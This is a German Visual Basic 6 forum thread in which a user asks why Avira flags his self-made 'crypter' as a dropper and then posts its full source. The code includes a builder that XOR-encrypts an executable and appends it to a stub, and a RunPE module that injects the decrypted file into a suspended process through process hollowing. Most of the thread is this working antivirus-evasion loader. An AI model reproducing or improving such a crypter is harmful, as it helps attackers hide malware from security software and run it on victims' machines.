Eigener Crypter wird von Avira erkannt!

  • VB6

Es gibt 7 Antworten in diesem Thema. Der letzte Beitrag () ist von bla.

    Eigener Crypter wird von Avira erkannt!

    Guten Tag!
    Ich habe mir in VB6 einen einenen Crypter geschrieben!
    Für alle die es noch nicht wissen ein Crypter ist ein Programm das Texte, Dateien oder ähnliches verschlüsselt.
    Ich habe gelesen, dass Avira bei einer RC4 verschlüsselung zuschlägt deswegen habe ich mich für eine andere endschieden aber sobald ich sie an meinem Portscanner oder anderer application verwende meldet Avira gleich das es ein Tr.Dropper.Gen ist was bedeutet das und wie mache ich es weg?

    Danke im vorraus!!

    Geschlossen !

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „mikeb69“ ()

    neeh es ist bei allem dateien egal welche
    ich poste mal den source code hier der Client

    Visual Basic-Quellcode

    1. Private Sub cmdProtect_Click()
    2. Dim Stub As String
    3. Open App.Path & "\Stub.exe" For Binary As #SSTUB
    4. Stub = Space(LOF(SSTUB))
    5. Get #SSTUB, , Stub
    6. Close #SSTUB
    9. With CD
    10. .DialogTitle = "Select Where you want to Save Crypted File"
    11. .Filter = "EXE Files |*.exe"
    12. .ShowSave
    13. End With
    15. Dim File As String
    17. Open txtfile.Text For Binary As #FFILE
    18. File = Space(LOF(FFILE))
    19. Get #FFILE, , File
    20. Close #FFILE
    22. File = Crypt(File, "SKYWEB", True)
    24. Open CD.FileName For Binary As #1
    25. Put #1, , Stub & "[DELIMITER]" & File
    26. Close #1
    28. MsgBox "Hey All is Done ;)", vbInformation
    29. End Sub
    31. Private Sub cmdSearch_Click()
    33. With CD
    34. .DialogTitle = "Select The file you Want to Protect"
    35. .Filter = "EXE Files |*.exe"
    36. .ShowOpen
    37. End With
    39. If Not CD.FileName = vbNullString Then
    41. txtfile.Text = CD.FileName
    43. End If
    47. End Sub
    49. Private Function Crypt(Inp As String, Key As String, Mode As Boolean) As String
    50. Dim z As String
    51. Dim i As Integer, Position As Integer
    52. Dim cptZahl As Long, orgZahl As Long
    53. Dim keyZahl As Long, cptString As String
    55. For i = 1 To Len(Inp)
    56. Position = Position + 1
    57. If Position > Len(Key) Then Position = 1
    58. keyZahl = Asc(Mid(Key, Position, 1))
    60. If Mode Then
    62. 'Verschlüsseln
    63. orgZahl = Asc(Mid(Inp, i, 1))
    64. cptZahl = orgZahl Xor keyZahl
    65. cptString = Hex(cptZahl)
    66. If Len(cptString) < 2 Then cptString = "0" & cptString
    67. z = z & cptString
    69. Else
    71. 'Entschlüsseln
    72. If i > Len(Inp) \ 2 Then Exit For
    73. cptZahl = CByte("&H" & Mid$(Inp, i * 2 - 1, 2))
    74. orgZahl = cptZahl Xor keyZahl
    75. z = z & Chr$(orgZahl)
    77. End If
    78. Next i
    80. Crypt = z
    81. End Function


    und hier die stub

    Stubx.bas

    Visual Basic-Quellcode

    1. Sub Main()
    4. Dim MEX As String
    6. MEX = App.Path & "\" & App.EXEName & ".exe"
    10. Dim Data As String
    12. Open MEX For Binary As #1
    16. Data = Space(LOF(1))
    17. Get #1, , Data
    18. Close #1
    21. Dim Delimiter() As String
    24. Delimiter() = Split(Data, "[DELIMITER]")
    27. Delimiter(1) = Crypt(Delimiter(1), "SKYWEB", False) ' Decypt The Data
    30. Call Injec(MEX, StrConv(Delimiter(1), vbFromUnicode), vbNullString)
    33. End Sub
    36. Private Function Crypt(Inp As String, Key As String, Mode As Boolean) As String
    37. Dim z As String
    38. Dim i As Integer, Position As Integer
    39. Dim cptZahl As Long, orgZahl As Long
    40. Dim keyZahl As Long, cptString As String
    42. For i = 1 To Len(Inp)
    43. Position = Position + 1
    44. If Position > Len(Key) Then Position = 1
    45. keyZahl = Asc(Mid(Key, Position, 1))
    47. If Mode Then
    49. 'Verschlüsseln
    50. orgZahl = Asc(Mid(Inp, i, 1))
    51. cptZahl = orgZahl Xor keyZahl
    52. cptString = Hex(cptZahl)
    53. If Len(cptString) < 2 Then cptString = "0" & cptString
    54. z = z & cptString
    56. Else
    58. 'Entschlüsseln
    59. If i > Len(Inp) \ 2 Then Exit For
    60. cptZahl = CByte("&H" & Mid$(Inp, i * 2 - 1, 2))
    61. orgZahl = cptZahl Xor keyZahl
    62. z = z & Chr$(orgZahl)
    64. End If
    65. Next i
    67. Crypt = z
    68. End Function


    RunPE.bas

    Visual Basic-Quellcode

    1. Option Explicit
    3. Private Const CONTEXT_FULL As Long = &H10007
    4. Private Const MAX_PATH As Integer = 260
    5. Private Const CREATE_SUSPENDED As Long = &H4
    6. Private Const MEM_COMMIT As Long = &H1000
    7. Private Const MEM_RESERVE As Long = &H2000
    8. Private Const PAGE_EXECUTE_READWRITE As Long = &H40
    10. Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
    11. Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
    12. Private Declare Function OutputDebugString Lib "kernel32" Alias "OutputDebugStringA" (ByVal lpOutputString As String) As Long
    14. Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
    15. Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
    16. Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
    17. Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
    19. Private Type SECURITY_ATTRIBUTES
    20. nLength As Long
    21. lpSecurityDescriptor As Long
    22. bInheritHandle As Long
    23. End Type
    25. Private Type STARTUPINFO
    26. cb As Long
    27. lpReserved As Long
    28. lpDesktop As Long
    29. lpTitle As Long
    30. dwX As Long
    31. dwY As Long
    32. dwXSize As Long
    33. dwYSize As Long
    34. dwXCountChars As Long
    35. dwYCountChars As Long
    36. dwFillAttribute As Long
    37. dwFlags As Long
    38. wShowWindow As Integer
    39. cbReserved2 As Integer
    40. lpReserved2 As Long
    41. hStdInput As Long
    42. hStdOutput As Long
    43. hStdError As Long
    44. End Type
    46. Private Type PROCESS_INFORMATION
    47. hProcess As Long
    48. hThread As Long
    49. dwProcessId As Long
    50. dwThreadID As Long
    51. End Type
    53. Private Type FLOATING_SAVE_AREA
    54. ControlWord As Long
    55. StatusWord As Long
    56. TagWord As Long
    57. ErrorOffset As Long
    58. ErrorSelector As Long
    59. DataOffset As Long
    60. DataSelector As Long
    61. RegisterArea(1 To 80) As Byte
    62. Cr0NpxState As Long
    63. End Type
    65. Private Type CONTEXT
    66. ContextFlags As Long
    68. Dr0 As Long
    69. Dr1 As Long
    70. Dr2 As Long
    71. Dr3 As Long
    72. Dr6 As Long
    73. Dr7 As Long
    75. FloatSave As FLOATING_SAVE_AREA
    76. SegGs As Long
    77. SegFs As Long
    78. SegEs As Long
    79. SegDs As Long
    80. Edi As Long
    81. Esi As Long
    82. Ebx As Long
    83. Edx As Long
    84. Ecx As Long
    85. Eax As Long
    86. Ebp As Long
    87. Eip As Long
    88. SegCs As Long
    89. EFlags As Long
    90. Esp As Long
    91. SegSs As Long
    92. End Type
    94. Private Type IMAGE_DOS_HEADER
    95. e_magic As Integer
    96. e_cblp As Integer
    97. e_cp As Integer
    98. e_crlc As Integer
    99. e_cparhdr As Integer
    100. e_minalloc As Integer
    101. e_maxalloc As Integer
    102. e_ss As Integer
    103. e_sp As Integer
    104. e_csum As Integer
    105. e_ip As Integer
    106. e_cs As Integer
    107. e_lfarlc As Integer
    108. e_ovno As Integer
    109. e_res(0 To 3) As Integer
    110. e_oemid As Integer
    111. e_oeminfo As Integer
    112. e_res2(0 To 9) As Integer
    113. e_lfanew As Long
    114. End Type
    116. Private Type IMAGE_FILE_HEADER
    117. Machine As Integer
    118. NumberOfSections As Integer
    119. TimeDateStamp As Long
    120. PointerToSymbolTable As Long
    121. NumberOfSymbols As Long
    122. SizeOfOptionalHeader As Integer
    123. characteristics As Integer
    124. End Type
    126. Private Type IMAGE_DATA_DIRECTORY
    127. VirtualAddress As Long
    128. Size As Long
    129. End Type
    131. Private Type IMAGE_OPTIONAL_HEADER
    132. Magic As Integer
    133. MajorLinkerVersion As Byte
    134. MinorLinkerVersion As Byte
    135. SizeOfCode As Long
    136. SizeOfInitializedData As Long
    137. SizeOfUnitializedData As Long
    138. AddressOfEntryPoint As Long
    139. BaseOfCode As Long
    140. BaseOfData As Long
    141. ' NT additional fields.
    142. ImageBase As Long
    143. SectionAlignment As Long
    144. FileAlignment As Long
    145. MajorOperatingSystemVersion As Integer
    146. MinorOperatingSystemVersion As Integer
    147. MajorImageVersion As Integer
    148. MinorImageVersion As Integer
    149. MajorSubsystemVersion As Integer
    150. MinorSubsystemVersion As Integer
    151. W32VersionValue As Long
    152. SizeOfImage As Long
    153. SizeOfHeaders As Long
    154. CheckSum As Long
    155. SubSystem As Integer
    156. DllCharacteristics As Integer
    157. SizeOfStackReserve As Long
    158. SizeOfStackCommit As Long
    159. SizeOfHeapReserve As Long
    160. SizeOfHeapCommit As Long
    161. LoaderFlags As Long
    162. NumberOfRvaAndSizes As Long
    163. DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
    164. End Type
    166. Private Type IMAGE_NT_HEADERS
    167. Signature As Long
    168. FileHeader As IMAGE_FILE_HEADER
    169. OptionalHeader As IMAGE_OPTIONAL_HEADER
    170. End Type
    172. Private Type IMAGE_SECTION_HEADER
    173. SecName As String * 8
    174. VirtualSize As Long
    175. VirtualAddress As Long
    176. SizeOfRawData As Long
    177. PointerToRawData As Long
    178. PointerToRelocations As Long
    179. PointerToLinenumbers As Long
    180. NumberOfRelocations As Integer
    181. NumberOfLinenumbers As Integer
    182. characteristics As Long
    183. End Type
    185. Private Function CallAPI(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
    186. Dim lPtr As Long
    187. Dim bvASM(&HEC00& - 1) As Byte
    188. Dim i As Long
    189. Dim lMod As Long
    191. lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
    192. If lMod = 0 Then Exit Function
    194. lPtr = VarPtr(bvASM(0))
    195. RtlMoveMemory ByVal lPtr, &H59595958, &H4: lPtr = lPtr + 4
    196. RtlMoveMemory ByVal lPtr, &H5059, &H2: lPtr = lPtr + 2
    197. For i = UBound(Params) To 0 Step -1
    198. RtlMoveMemory ByVal lPtr, &H68, &H1: lPtr = lPtr + 1
    199. RtlMoveMemory ByVal lPtr, CLng(Params(i)), &H4: lPtr = lPtr + 4
    200. Next
    201. RtlMoveMemory ByVal lPtr, &HE8, &H1: lPtr = lPtr + 1
    202. RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4: lPtr = lPtr + 4
    203. RtlMoveMemory ByVal lPtr, &HC3, &H1: lPtr = lPtr + 1
    204. CallAPI = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
    205. End Function
    207. Sub Injec(ByVal sHost As String, ByRef bvBuff() As Byte, parameter As String)
    208. Dim i As Long
    209. Dim Pidh As IMAGE_DOS_HEADER
    210. Dim Pinh As IMAGE_NT_HEADERS
    211. Dim Pish As IMAGE_SECTION_HEADER
    212. Dim Si As STARTUPINFO
    213. Dim Pi As PROCESS_INFORMATION
    214. Dim Ctx As CONTEXT
    216. Si.cb = Len(Si)
    218. RtlMoveMemory Pidh, bvBuff(0), 64
    219. RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248
    221. CreateProcessA sHost, " " & parameter, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi
    222. CallAPI "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
    223. CallAPI "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
    224. WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0
    226. For i = 0 To Pinh.FileHeader.NumberOfSections - 1
    227. RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
    228. WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
    229. Next i
    231. Ctx.ContextFlags = CONTEXT_FULL
    232. CallAPI "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)
    233. WriteProcessMemory Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
    234. Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
    235. CallAPI "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)
    236. CallAPI "kernel32", "ResumeThread", Pi.hThread
    237. End Sub
    239. Public Function StrToBytArray(ByVal sStr As String) As Byte()
    240. Dim i As Long
    241. Dim Buffer() As Byte
    242. ReDim Buffer(Len(sStr) - 1)
    243. For i = 1 To Len(sStr)
    244. Buffer(i - 1) = Asc(Mid(sStr, i, 1))
    245. Next i
    246. StrToBytArray = Buffer
    247. End Function
    249. Public Function ThisExe() As String
    250. Dim lRet As Long
    251. Dim bvBuff(255) As Byte
    252. lRet = CallAPI("kernel32", "GetModuleFileNameA", App.hInstance, VarPtr(bvBuff(0)), 256)
    253. ThisExe = Left$(StrConv(bvBuff, vbUnicode), lRet)
    254. End Function


    naja an der verschlüsselung arbeite ich noch im moment ist das eine geklaute aus google :D

Facebook